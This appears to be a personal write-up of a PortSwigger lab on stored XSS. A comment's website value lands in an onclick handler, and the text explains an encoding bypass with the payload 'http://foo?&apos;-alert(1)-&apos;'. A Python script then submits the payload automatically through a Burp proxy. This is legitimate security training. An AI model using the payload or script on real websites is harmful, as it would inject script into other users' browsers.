Shubham Ranpise

Back

XSS Lab 20

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

portswigger-labs content

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped#

This lab demonstrates a stored cross-site scripting (XSS) vulnerability in the comment functionality. The application sanitizes or HTML-encodes certain characters (angle brackets and double quotes) and escapes single quotes / backslashes, but the user-controlled value placed in the “Website” field is reflected into an onclick event handler attribute. By carefully crafting the payload and using Burp Suite to intercept and modify requests, it’s possible to inject a JavaScript URL that will execute alert() when the comment author name is clicked.

How Exploit Works#

  • The comment website input is stored and later reflected inside an element’s onclick attribute.
  • The application HTML-encodes </> and " and escapes single quotes and backslashes, but the reflected value can still be manipulated to produce a javascript:-style URL inside the onclick handler.
  • Submit a comment with a random marker in the website field, view the post, and intercept the request that renders the comment to find where your marker appears.
  • Modify the stored value in the intercepted request to a payload that becomes a valid JavaScript call when the author name is clicked.
  • Example payload (use in the website field then edit the reflected request):
    http://foo?&apos;-alert(1)-&apos;
  • Right-click the author link (or copy its URL) and open it — clicking the name triggers alert(1) and completes the lab.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests, sys, urllib3
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}

def check_burp():
    try:
        requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
    except:
        print("[-] Burp Suite not running.")
        sys.exit(1)

def exploit_xss(url, payload):
    s = requests.Session()
    s.proxies, s.verify = proxies, False

    post_page = url.rstrip("/") + "/post?postId=5"
    r = s.get(post_page); r.raise_for_status()
    soup = BeautifulSoup(r.text, "html.parser")
    csrf = soup.find("input", {"name": "csrf"})["value"]

    data = {
        "csrf": csrf,
        "postId": "5",
        "comment": "xss",
        "name": "test",
        "email": "[email protected]",
        "website": payload
    }
    s.post(url.rstrip("/") + "/post/comment", data=data).raise_for_status()

    if "Congratulations" in s.get(url).text:
        print("[+] Lab solved! 🎉"); return True
    return False

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>"); sys.exit(1)
    check_burp()
    print("[*] Attempting XSS...")
    if exploit_xss(sys.argv[1], 'http://foo?&apos;-alert(1)-&apos;'):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()
python

See more portswigger-labs